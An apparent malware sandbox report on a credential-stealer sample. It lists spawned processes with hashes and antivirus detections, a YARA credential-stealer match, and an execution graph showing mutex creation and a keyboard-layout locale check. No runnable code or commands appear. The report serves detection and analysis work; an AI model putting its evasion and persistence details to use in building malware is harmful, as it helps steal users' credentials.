JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3048089446.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	20:11:33
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe"
Imagebase:	0xd80000
File size:	4'455'936 bytes
MD5 hash:	8664A5A6E958F985735B8A17171550BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	20:11:42
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe"
Imagebase:	0x3e0000
File size:	1'885'696 bytes
MD5 hash:	25FB9C54265BBACC7A055174479F0B70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 75%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	20:11:50
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f2de4e119f.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	20:11:51
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1920,i,2687393633107750468,17643821193662519934,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	20:11:54
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe"
Imagebase:	0x570000
File size:	4'483'072 bytes
MD5 hash:	98F2F2F0D74571AF72DD4CA43C1692BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	20:11:55
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f2de4e119f.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	20:11:56
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1976,i,3664678629487095978,10251787719935980013,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	20:12:02
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe"
Imagebase:	0xf20000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 67%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.1%
Total number of Nodes:	765
Total number of Limit Nodes:	13

Executed Functions

Function 005B652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,005B652A,?,?,?,?,?,005B7661), ref: 005B6567

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 4af41fd3e0912b65729651b4a7b7461b4f18fc4a10a72b36e264152999904570
Instruction ID: 7ac208d370ea5271a503a8da7992acbe1da1fba0f2486be05c8ee5948ebf6df1
Opcode Fuzzy Hash: 4af41fd3e0912b65729651b4a7b7461b4f18fc4a10a72b36e264152999904570
Instruction Fuzzy Hash: EAE08C30002108AEDE367B18CC49A893F69FB9174AF404810F90846222CB2AFD91CA80

Function 04A30D13 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2105882678.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c11a2d77723e0d33e1157a5815eb5b3feddb1f65d11ddbb1b3312c4e2bf0920
Instruction ID: eb4d81716e058125eef222e6fb3560c74dd974fa4b49b479bfaa76335f4951ec
Opcode Fuzzy Hash: 7c11a2d77723e0d33e1157a5815eb5b3feddb1f65d11ddbb1b3312c4e2bf0920
Instruction Fuzzy Hash: BFF027F730D110FE21828680AB146727BFDE6D36F23304466F003CB20AF2903E15B121

Function 00585C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000423, xrefs: 005860FA
00000419, xrefs: 00586098
0000043f, xrefs: 0058612B
Keyboard Layout\Preload, xrefs: 00586054
00000422, xrefs: 005860C9

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 88a02638cb3b16484761f6cc1149fb8aef16bf920553bd4a939c81101118a74e
Instruction ID: 2b88d6379a22d714d83cca5186fbe00fdd1720ae73054e2e6f76634c0573023b
Opcode Fuzzy Hash: 88a02638cb3b16484761f6cc1149fb8aef16bf920553bd4a939c81101118a74e
Instruction Fuzzy Hash: 28F1C2709002599FEF24EF54CC89BEEBBB9FB45304F504199F908A7281DB749A84CF95

Function 00589BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0058A963
CreateMutexA.KERNEL32(00000000,00000000,005E3254), ref: 0058A981

Strings

T2^, xrefs: 0058A970

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2^
API String ID: 1464230837-4116150268
Opcode ID: fb1f7b8f2b5ad55a75ba4ca6510acb035ebe788d3ee1aebb742180c3f4e3f5cb
Instruction ID: a6281cbf4ee96afd44e9aa8b216e9b2ad24f18c5d54e250dffabd4c7fd03a78e
Opcode Fuzzy Hash: fb1f7b8f2b5ad55a75ba4ca6510acb035ebe788d3ee1aebb742180c3f4e3f5cb
Instruction Fuzzy Hash: 723125316042049BFB08FBA8DD8977DBF72FBC1314F248219E854AB2D6C77699808752

Function 00589F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0058A963
CreateMutexA.KERNEL32(00000000,00000000,005E3254), ref: 0058A981

Strings

T2^, xrefs: 0058A970

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
